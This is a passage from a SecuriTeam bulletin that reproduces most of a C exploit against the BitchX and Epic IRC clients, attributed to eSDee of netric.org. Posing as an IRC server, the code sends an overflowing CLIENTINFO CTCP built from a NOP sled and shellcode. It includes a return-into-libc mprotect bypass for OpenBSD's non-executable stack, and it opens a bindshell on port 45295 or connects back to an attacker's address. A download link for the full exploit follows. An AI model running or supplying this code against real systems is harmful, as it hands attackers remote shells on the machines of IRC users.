## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
k -= 5;
i += 4;
}

k = 64;
i = 0;

while (1) {

if (sh_host[i + 0] == 0x00) break;
BSD_bindcode[k - 3] = sh_host[i + 0];
BSD_connect_back[k - 3] = sh_host[i + 0];

if (sh_host[i + 1] == 0x00) break;
BSD_bindcode[k - 2] = sh_host[i + 1];
BSD_connect_back[k - 2] = sh_host[i + 1];

if (sh_host[i + 2] == 0x00) break;
BSD_bindcode[k - 1] = sh_host[i + 2];
BSD_connect_back[k - 1] = sh_host[i + 2];

if (sh_host[i + 3] == 0x00) break;
BSD_bindcode[k - 0] = sh_host[i + 3];
BSD_connect_back[k - 0] = sh_host[i + 3];

k -= 5;
i += 4;
}

k = 0;

usleep(3000000); /* We have to wait a couple of seconds,
otherwise BitchX/Epic will ignore the clientinfo CTCP. */

memset(sh_buffer, 0x90, sizeof(sh_buffer));
memcpy(sh_buffer + sizeof(sh_buffer) - 1 - strlen(targets[type -
1].shellcode),
targets[type - 1].shellcode, strlen(targets[type - 1].shellcode));
sh_buffer[sizeof(sh_buffer) - 1] = 0x0;

if (send_text(sock_server_new, "netric!netric@netric.org PRIVMSG a:
%s\r\n", sh_buffer) < 0) {
if (verbose == 1) fprintf(stderr, "[%s] send failed!\n",
inet_ntoa(saddr_in2.sin_addr));
exit(1);
}

usleep(300000);

if (targets[type - 1].type == 2 || targets[type - 1].type == 5) {
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
/* OpenBSD 3.2!
```

Quote:

"As theo announced on misc@, non-executable stack support is available in the most recent snapshots for most platforms. In other words, say goodbye to the vast majority of buffer overflow attacks against OpenBSD machines :-)"

The stack is non executable at default, so we use a return into libc technic, to get the stack executable again. We use the mprotect() function in libc, to mark the stack PROT\_WRITE|PROT\_READ|PROT\_EXEC ;)

```
*/
size = -1;
memset(ret_buffer, 0x90, sizeof(ret_buffer));
memcpy(ret_buffer + 28, &targets[type - 1].mprotect, 4);
memcpy(ret_buffer + 32, &targets[type - 1].ret, 4);
memcpy(ret_buffer + 36, &targets[type - 1].ret, 4); // void *addr
memcpy(ret_buffer + 40, &size, 4);
// size_t len
ret_buffer[44] = 0x07;
// int prot
ret_buffer[200] = 0x00;

} else {

memset(ret_buffer, 0x0, sizeof(ret_buffer));

for(i = 0; i < sizeof(ret_buffer) - 4; i += 4)
{
ret_buffer[i + 0] = (targets[type - 1].ret >> 0) & 0xff;
ret_buffer[i + 1] = (targets[type - 1].ret >> 8) & 0xff;
ret_buffer[i + 2] = (targets[type - 1].ret >> 16) & 0xff;
ret_buffer[i + 3] = (targets[type - 1].ret >> 24) & 0xff;
}
}

memset(buffer, 0x90, sizeof(buffer));
memcpy(buffer - sizeof(jmp_code) - 2, jmp_code, sizeof(jmp_code) - 1);
buffer[sizeof(buffer) - 1] = 0x00;

if (send_text(sock_server_new,
":%s!netric@netric.org PRIVMSG a: %cCLIENTINFO %s%c\r\n",
buffer, 0x01, ret_buffer, 0x01) < 0) {
if (verbose == 1) {
fprintf(stderr, "[%s] send failed!\n", inet_ntoa(saddr_in2.sin_addr));
exit(1);
```

## Securiteam: [EXPL] Remote BitchX/Epic Exploit Code (Serverside)

```
}
}

if (connectback == 0) {
if (log) fprintf(log, "[%s] %s - Bindshell is running on port
0xb0ef(45295).\n",
inet_ntoa(saddr_in2.sin_addr), nick);
fprintf(stderr, "[%s] Bindshell is running on port 0xb0ef(45295).\n",
inet_ntoa(saddr_in2.sin_addr));
} else {
if (log) fprintf(log, "[%s] %s - Connecting to %d.%d.%d.%d:45295.\n",
inet_ntoa(saddr_in2.sin_addr), nick, ip1, ip2, ip3, ip4);
fprintf(stderr, "[%s] Connecting to %d.%d.%d.%d:45295.\n",
inet_ntoa(saddr_in2.sin_addr), ip1, ip2, ip3, ip4);
}

close(sock_server_new);
exit(0);
}

close(sock_server_new);
}

return 0;
}

/* EOF */
```

### ADDITIONAL INFORMATION

The exploit code can be also downloaded from:

<<http://www.netric.org/exploits/gespuis.c>>

<http://www.netric.org/exploits/gespuis.c>

The information has been provided by <mailto:[esdee@netric.org](mailto:esdee@netric.org)> eSDee.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.